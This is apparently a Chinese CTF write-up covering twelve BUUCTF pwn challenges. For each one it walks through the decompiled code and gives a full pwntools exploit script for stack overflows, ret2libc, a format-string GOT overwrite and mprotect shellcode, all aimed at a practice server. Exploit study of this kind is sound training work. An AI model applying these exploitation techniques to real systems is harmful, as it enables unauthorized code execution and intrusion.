BUUCTF Pwn 1-12题解析及答案

这篇具有很好参考价值的文章主要介绍了BUUCTF Pwn 1-12题解析及答案。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

test_your_nc

人如其名,直接 nc 连接即可。

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

rip

Checksec & IDA

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

裸奔的64位ELF,使用IDA查看反汇编代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF

  puts("please input");
  gets(s, argv); // gets 函数不会检查用户输入的字符串的大小、长度 是最容易发生栈溢出的地方
                 // 本题中栈溢出漏洞就位于此处
  puts(s);
  puts("ok,bye!!!");
  return 0;
}
int fun()
{
  return system("/bin/sh"); // 后门命令,我们可以直接调用
}

EXP:

s 的大小为 0x0F ,所以我们构造的Payload是这样的:

Payload = b'A' * ( 0x0F + 0x08 ) + p64(0x40117)

0x0F + 0x08 代表 s 的大小加上8字节大小的rbp。

0x40117是 fun 函数中的命令开始的地址:

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

完整EXP:

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/pwn1")
io = remote("node4.buuoj.cn",26636)

context.log_level = 'debug'

Payload = b'A' * ( 0x0F + 0x08 ) + p64(0x401187)

io.sendline(Payload)
io.interactive()
ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

warmup_csaw_2016

Checksec & IDA

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

也是裸奔的程序。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5); // 漏洞同上
}
int sub_40060D()
{
  return system("cat flag.txt");
}

EXP:

思路同上

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/warmup_csaw_2016")
io = remote("node4.buuoj.cn",27270)

context.log_level = 'debug'

Payload = b'A' * ( 0x40 + 0x08 )
Payload += p64(0x40060E)

io.sendline(Payload)
io.interactive()

0x40060E

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档
ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

ciscn_2019_n_1

Checksec & IDA

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

NX 栈不可执行

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  func();
  return 0;
}
int func()
{
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    return system("cat /flag");
  else
    return puts("Its value should be 11.28125");
}

思路很简单,直接溢出v1变量即可。

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/ciscn_2019_n_1")
io = remote("node4.buuoj.cn",27270)

context.log_level = 'debug'

Payload = b'A' * ( 0x30 + 0x08 )
Payload += p64(0x4006BE)

io.sendline(Payload)
io.interactive()

0x4006BE

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档
ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

pwn1_sctf_2016

Checksec & IDA

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

NX 栈不可执行

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}
int vuln()
{
  const char *v0; // eax
  char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
  char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
  char v4[7]; // [esp+40h] [ebp-18h] BYREF
  char v5; // [esp+47h] [ebp-11h] BYREF
  char v6[7]; // [esp+48h] [ebp-10h] BYREF
  char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

  printf("Tell me something about yourself: ");
  fgets(s, 32, edata);
  std::string::operator=(&input, s);
  std::allocator<char>::allocator(&v5);
  std::string::string(v4, "you", &v5);
  std::allocator<char>::allocator(v7);
  std::string::string(v6, "I", v7);
  replace((std::string *)v3);
  std::string::operator=(&input, v3, v6, v4);
  std::string::~string(v3);
  std::string::~string(v6);
  std::allocator<char>::~allocator(v7);
  std::string::~string(v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(s, v0);
  return printf("So, %s\n", s);
}
int get_flag()
{
  return system("cat flag.txt");
}

EXP:

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

可见 vuln 函数的作用是把I替换成you。

而本题不存在 gets 这种十分容易溢出的函数,但是我们发现存在 fgets。

fgets(s, 32, edata);

也就是说,我们最多输入32个字节的东西,根据上文,我们可以输入32个I,这样就是32个you,也就是96个字节。

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

s 的大小是0x3C,那么我们只需要输入 0x3C,也就是60 / 3 个I即可溢出,之后的内容我们可以就可以构建ROP链。

思路如下:

输入20个I,随后紧接着后门地址即可获取shell。

完整EXP:

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/pwn1_sctf_2016")
io = remote("node4.buuoj.cn",25299)

context.log_level = 'debug'

Payload = b'I' * 20
Payload += b'A' * 4
Payload += p32(0x8048F13)

io.sendline(Payload)
io.interactive()

0x8048F13

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档
ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

jarvisoj_level0

Checksec & IDA

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

NX 栈不可执行

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function(1LL);
}
ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}
int callsystem()
{
  return system("/bin/sh");
}

EXP:

溢出点位于vulnerable_function中的read函数。

read函数不会检查输入的数据多少,只会检查输入的数据长度,因此也是一个经常出现的栈溢出漏洞原因。

思路和前面几题一样。

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/level0")
io = remote("node4.buuoj.cn",26873)

context.log_level = 'debug'

Payload = b'A' * ( 0x80 + 0x08 )
Payload += p64(0x40059A)

io.sendline(Payload)
io.interactive()

0x40059A

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档
ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

[第五空间2019 决赛]PWN5

Checksec & IDA

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

Canary 和 NX

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);
  printf("your name:");
  read(0, buf, 0x63u);
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}

EXP:

详细解法可以看:

BUUCTF [第五空间2019 决赛]PWN5

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

格式化字符串漏洞,且偏移为10。

简易方法直接使用 fmtstr_payload 进行格式化字符串漏洞利用。

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/DWKJ-Pwn5")
elf = ELF("/home/Kaguya/桌面/Resolve/DWKJ-Pwn5")
io = remote("node4.buuoj.cn",28599)

context.log_level = 'debug'

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']


Payload=fmtstr_payload(10,{atoi_got:system_plt})
io.recv()
io.sendline(Payload)
io.recv()
io.sendline(b'/bin/sh\x00')
io.interactive()
ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

这里使用fmtstr_payload直接替换 atoi_got 的原因是got表才是程序运行时函数的真正地址,通过替换atoi,修改为system,再送入'/bin/sh\x00' 即可成功getshell。

ciscn_2019_c_1

Check & IDA

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

只有栈不可执行

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin();
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin();
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin();
  }
  puts("Something Wrong!");
  return 0;
}
int begin()
{
  puts("====================================================================");
  puts("1.Encrypt");
  puts("2.Decrypt");
  puts("3.Exit");
  return puts("Input your choice!");
}
int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

大概观察一下,F12中也没有/bin/sh

EXP:

那么基本就是采用ret2libc的方式。

首先我们找到栈溢出漏洞位于哪里

int encrypt()
{
  char s[48]; // [rsp+0h] [rbp-50h] BYREF  
    gets(s);

s的大小在ida中为0x50

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

GDB调试看看

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

发现我们的字符串被加密了,不要慌,解决办法很简单

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

只需要过一遍程序然后将结果丢在记事本中即可

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

结果是88

  puts("Ciphertext");
  return puts(s);

C语言中,puts函数会在输出的内容后面自动加入\n,也就是换行符。

因此我们构造泄露的Payload如下:

io.recv()
io.sendline(b'1')
io.recvuntil(b'encrypted\n')
# 缺一不可
# recv()是接收begin()输出的内容
# 1 是用来执行 encrypt() 函数从而触发栈溢出漏洞
# b'encrypted\n' 是直到接收到这一串,也就是encrypt的第一行输出结尾,等待用户输入数据时的提示语。

Payload = b'A' * ( 80 + 0x08 )
# s 大小为 0x50 也就是 80
# 64 位下 rbp 的地址为 8 位。
# 本题 main 函数 Push 了 rbp 所以我们需要覆盖rbp
Payload += p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
# 将 puts_got 的地址写入rdi寄存器中,劫持程序流执行puts函数,然后打印 puts_plt 的地址,最后返回到main函数以便下次攻击。

io.sendline(Payload)
io.recvuntil(b"Ciphertext\n")
# 接收 puts("Ciphertext")
io.recvuntil(b"\n")
# 接收 puts(s)
 
addr = u64(io.recv(6).ljust(8,b'\x00'))
# 接收泄露的地址,接收6位并将其用\x00填充到8位

接下来都轻车熟路了,根据偏移反推地址

完整Payload如下

from pwn import *
from LibcSearcher import *

#io = process("/home/Kaguya/桌面/Resolve/ciscn_2019_c_1")
elf = ELF("/home/Kaguya/桌面/Resolve/ciscn_2019_c_1")
io = remote("node4.buuoj.cn",28460)

context.log_level = 'debug'

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x400C83
ret = 0x4006B9

main = elf.sym['main']

io.recv()
io.sendline(b'1')
io.recvuntil(b'encrypted\n')

Payload = b'A' * ( 80 + 0x08 )
Payload += p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

io.sendline(Payload)
io.recvuntil(b"Ciphertext\n")
io.recvuntil(b"\n")
 
addr = u64(io.recv(6).ljust(8,b'\x00'))
log.success("Address: " + hex(addr))
libc = LibcSearcher('puts',addr)
libcbase = addr - libc.dump('puts')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')

Payload_Shell = b'A' * ( 80 + 0x08 )
Payload_Shell += p64(ret) +  p64(rdi) + p64(binsh) + p64(system)
# 为什么需要 ret ,是因为需要先将system的地址放入ret中,让程序流返回到system
# 然后将binsh的地址放入rdi寄存器中作为system的第一个参数,即可getshell。
# rdi不会被作为地址,因此这就是为什么ret后面可以跟着rdi而仍旧将system作为返回地址

io.recv()
io.sendline(b'1')
io.recvuntil(b"encrypted\n")
io.sendline(Payload_Shell)

io.interactive()
ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

ciscn_2019_n_8

Check & IDA

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

除了RELRO都全开,看起来蛮吓人

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

EXP:

只要 var[13] = 17 即可getshell

  var[13] = 0; //初始化var[13]的值为0
  var[14] = 0; //初始化var[14]的值为0
 

  __isoc99_scanf("%s", var, v4, v5); // __isoc99_scanf 没有限制读取的字符串长度,因此漏洞位于此处。
  // __isoc99_scanf 的原型是 __isoc99_scanf(const char *format, …) ,v5在此处作为多余参数,用途不明。
  // 原型是只有2个变量, %s 代表读取字符串,也就是format,var 代表变量, v4代表一个指向64位整数的指针。
  // 本题中,如果只想覆盖 var[13],var[14] 那么不需要动用v4
  // 如果我想覆盖任意地址,则需要在中间打一个空格,然后输入一个字符串,字符串可以转换成想覆盖的任意地址。
  if ( *(_QWORD *)&var[13] )
  // *(_QWORD *)&var[13] 的意思代表 var[13],var[14]所构成的64位整数
,它是一个指针。
  // 但是在if中,它需要被解运算,也就是代表从 var[13],var[14]所构成的64位整数 中取出整数与0进行判断,如果大于0,则通过判断。
  {
    if ( *(_QWORD *)&var[13] == 17LL ) // 从 var[13],var[14]所构成的64位整数 中取出整数与17进行判断,如果等于17,则通过判断。
      system("/bin/sh");

绕过很简单,只需要这样即可

Payload = p32(17) * 14

完整EXP如下

from pwn import *

io = process("/home/Kaguya/桌面/Resolve/ciscn_2019_n_8")
#io = remote("node4.buuoj.cn",27270)

context.log_level = 'debug'

Payload = p32(17) * 14
io.sendline(Payload)
io.interactive()
ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

jarvisoj_level2

Checksec & IDA

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}
ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  system("echo Input:");
  return read(0, buf, 0x100u);
}

EXP:

不必多说

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/level2")
io = remote("node4.buuoj.cn",25929)
elf = ELF("/home/Kaguya/桌面/Resolve/level2")

context.log_level = 'debug'
context(arch='i386',os='linux')

system = elf.sym['system']

Payload = b'A' * ( 0x88 + 0x04 )
Payload += p32(system) + p32(0) + p32(0x804A024)
# p32(0) 是重点,是用来平衡栈帧的操作
# system函数的内部实现调用了execve函数
# system函数其实有两个参数,但是第二个默认为Null,也就是空字符
# 因此我们可以传入一个空字符或任意其他字符当作第二个参数来平衡栈帧

io.sendline(Payload)
io.interactive()
ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

bjdctf_2020_babystack

Checksec & IDA

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[12]; // [rsp+0h] [rbp-10h] BYREF
  size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  puts("[+]What's u name?");
  read(0, buf, (unsigned int)nbytes);
  return 0;
}
__int64 backdoor()
{
  system("/bin/sh");
  return 1LL;
}

EXP:

栈溢出漏洞位于

read(0, buf, (unsigned int)nbytes);

因为 nbytes是一个unsigned int 数,因此我们可以通过输入-1绕过read的检测。

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/bjdctf_2020_babystack")
io = remote("node4.buuoj.cn",27574)

context.log_level = 'debug'

io.recvuntil(b"name:\n")
io.sendline(b'-1')
io.recvuntil(b"name?\n")

Payload = b'A' * ( 0x10 + 0x08 )
Payload += p64(0x4006E7)

io.sendline(Payload)
io.interactive()

0x4006E7

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档
ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

get_started_3dsctf_2016

Checksec & IDA

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[56]; // [esp+4h] [ebp-38h] BYREF

  printf("Qual a palavrinha magica? ", v4[0]);
  gets(v4);
  return 0;
}
void __cdecl get_flag(int a1, int a2)
{
  int v2; // esi
  unsigned __int8 v3; // al
  int v4; // ecx
  unsigned __int8 v5; // al

  if ( a1 == 814536271 && a2 == 425138641 )
  {
    v2 = fopen("flag.txt", "rt");
    v3 = getc(v2);
    if ( v3 != 255 )
    {
      v4 = (char)v3;
      do
      {
        putchar(v4);
        v5 = getc(v2);
        v4 = (char)v5;
      }
      while ( v5 != 255 );
    }
    fclose(v2);
  }
}

EXP:

显而易见,缓冲区溢出位于

  gets(v4);

v4的大小为0x38

这里有两种办法,一种是直接溢出然后通过判断条件最后输出flag。

但是这个办法会出现问题,因为本体没有开启标准输入输出流,需要自己手动调用exit()。

本文不使用本方法,本文使用 mprotect 使bss段可执行构造shellcode getshell。

很简单,mprotect原型如下

int mprotect(void *addr, size_t len, int prot)

addr 内存起始值

len 内存空间大小

prot 内存权限

也就是说 我们需要找到一个 4k对齐 的内存起始值,然后赋予他可执行权限。也就是7 RX。

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档
ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

我们可以发现bss段中存在一个4K对齐的内存段。

因此构造如下Payload:

Payload = b'A' * 0x38
Payload += p32(mprotect) + p32(pop3) + p32(bss_start) + p32(0x1000) + p32(7)
Payload += p32(read) + p32(pop3) + p32(0) + p32(bss_start) + p32(0x1000) + p32(bss_start)

shellcode = asm(shellcraft.sh())

这段Payload分为三部分:

  1. Padding 也就是填充垃圾字符

  1. mprotect函数及其参数

  1. read函数及其参数

为什么要构造这样的Payload呢?我们知道,mprotect可以修改段的权限,那么我们得想一个办法向栈中修改过的内存送入我们的shellcode。

这时候可以用上write或者read。

read的函数原型是这样的:

ssize_t read(int fd, void *buf, size_t count);

fd 文件描述符 0/1/2 标准输入/标准输出/标准错误输出

buf 输出/写入的数据存储的缓冲区指针

count 输出/写入/输出的最大的字节长度

fd 我们填 0,代表标准输入。

buf 也就是需要送入数据的地址,我们填入mprotect修改的地址。

count,我们填入mprotect修改时修改的大小。

这下Payload已经构造完毕,就是shellcode的步骤了。

pwntools内建一个可以直接构建shellcode的函数。

我们使用

context( arch = 'i386' , os = 'linux' )
shellcode = asm(shellcraft.sh())

构造shellcode。

可得出完整EXP:

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/get_started_3dsctf_2016")
elf = ELF("/home/Kaguya/桌面/Resolve/get_started_3dsctf_2016")
io = remote("node4.buuoj.cn",26283)

context.log_level = 'debug'
context(arch='i386',os='linux')

mprotect = 0x806EC80
read = 0x806E140

pop3 = 0x08063ADB

bss_start = 0x080EC000

Payload = b'A' * 0x38
Payload += p32(mprotect) + p32(pop3) + p32(bss_start) + p32(0x1000) + p32(7)
Payload += p32(read) + p32(pop3) + p32(0) + p32(bss_start) + p32(0x1000) + p32(bss_start)

shellcode = asm(shellcraft.sh())

io.sendline(Payload) 
io.sendline(shellcode)
io.interactive()
ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

为什么会用到 pop3呢?

因为我们需要给mprotect函数、read函数传参。

虽然一般情况下32位程序用不着寄存器传参,但是这种情况下用的到。

ctfpwn方向比赛题目及解析,Pwn,安全,网络,linux,python,网络安全,Powered by 金山文档

edi 、 esi 、 ebx 分别是第一、第二、第三参数。文章来源地址https://www.toymoban.com/news/detail-757052.html

到了这里,关于BUUCTF Pwn 1-12题解析及答案的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • buuctf PWN ciscn_2019_c_1

    encrypt()里面get函数存在溢出点offest=0x50+8。puts()可以用来泄露libc基址。 amd64的参数调用顺序是如下序列的自后而前,即:完成传递参数(地址)-本函数地址 - 返回地址 ... - pop_rdi;ret - argv - call_addr - ret_address 获得本elf中的gadgets: ROPgadget --binary ./ciscn_2019_c_1 --only \\\"pop|ret\\\" ROPgadg

    2024年02月07日
    浏览(23)
  • BUUCTF pwn1_sctf_2016解题思路

    php魔术方法: __call() : 在对象中调用一个不可访问方法时, __call() 会被调用 __toString : 将对象当作一个字符串输出的时候 __wakeup : 反序列化时被调用 __invoke : 当一个对象被作为函数调用时被调用 __get : 当对象访问一个不存在的属性时调用 __construct :创建对象时调用 序列化只

    2024年02月12日
    浏览(29)
  • [BUUCTF NewStarCTF 2023 公开赛道] week4 crypto/pwn

    再补完这个就基本上完了. Schmidt-Samoa密码系统看上去很像RSA,其中N=pqq, 给的e=N给了d NTRU又一个格的基本应用   当E.order() == p时   p-1光滑时的分解 此题先是p-1光滑分解,然后是e=3*0x10000先求3次根再用rabin求16次    求误差,虽然被分成3个数组,但本质上是一个,可以连到一起求解. 

    2024年02月07日
    浏览(28)
  • C/C++数据结构之链表题目答案与解析

    个人主页:点我进入主页 专栏分类:C语言初阶      C语言程序设计————KTV       C语言小游戏     C语言进阶 C语言刷题       数据结构初阶 欢迎大家点赞,评论,收藏。 一起努力,一起奔赴大厂。 目录 1.前言  2.题目解析 2.1 移除链表元素 2.2反转链表 2.3链表的中

    2024年02月05日
    浏览(46)
  • 安全测试面试的30道基础概念题目与参考答案

    这篇文章主要介绍了关于安全测试面试的30道基础概念题目与参考答案,总结分析了安全测试中常见的各种概念、原理与注意事项,需要的朋友可以参考下 看看这些面试题目,目的是了解安全测试的基本概念。每一道题目都可以展开到一定的深度和广度。 这里仅仅是一个抛砖引

    2024年04月12日
    浏览(41)
  • [BUUCTF]pwn栏目 warmup_csaw_2016 1的题解和小疑问,欢迎讨论

    首先非常感谢大家阅读我的第一篇。本文章不仅仅是题解,一些细枝末节的小问题也欢迎大家一起解答。 小问题的形式如Qx:xxxxxxx? 欢迎发现小问题并讨论~~ N1nE是本人另外一个名字,目前主要学习pwn方向,此文章以及后续别的文章,如有不当欢迎补充与纠正。 题目来自bu

    2023年04月08日
    浏览(23)
  • BUUCTF_Misc题目题解记录

    仅记录解题步骤,方便自己没事儿的时候拿出来强化一下记忆,俗话说好记性不如烂笔头,祝我早日卷赢同事(? 有没有和我一样用M1芯片,装不了工具,用不惯虚拟机,做不动杂项(那就更不要说pwn了)的大冤种?看过来呜呜呜呜呜…… 1.下载的附件是一张图片(.jpg),在

    2024年02月01日
    浏览(66)
  • BUUCTF题目Web部分wp(持续更新)

    如有权限,查询当前用户可以访问的所有表 字符串拼接,避免字符串被过滤。 利用字符串内联注入 利用终止式SQL注入 。也就是利用SQL语法中的注释。 利用 having 1=1 并观察报错来确定列名。因为sql语句中原本没有聚合函数,那么having 1=1就会爆出语法错误。这样语法解析时会

    2024年02月13日
    浏览(25)
  • buuctf-Misc 题目解答分解118-120

    118.[INSHack2017]sanity   打开压缩包就是一个md 文件 typora 打开 发现flag INSA{Youre_sane_Good_for_you} 119.粽子的来历   解压压缩包 ,得到文件夹如下   用010 editor 打开 我是A.doc   这个有些可以 都改成FF 保存   然后再次打开 docx 文件就发现了屈原的诗   其他bcd 四个文件一样,但是每行

    2024年01月16日
    浏览(22)
  • CTFd平台使用docker配置pwn题目

    目录 1.安装docker和ctf_xinetd         1.docker:         2.ctf_xinetd的下载与使用         3.Docker Hub 镜像加速器         检查加速器是否生效         Docker Hub 镜像测速 2.制作镜像并上传 1.先配置好flag文件不要忘了,保证和CTFd平台的一样。 本人的目的: 2.Dockerfile:

    2023年04月09日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包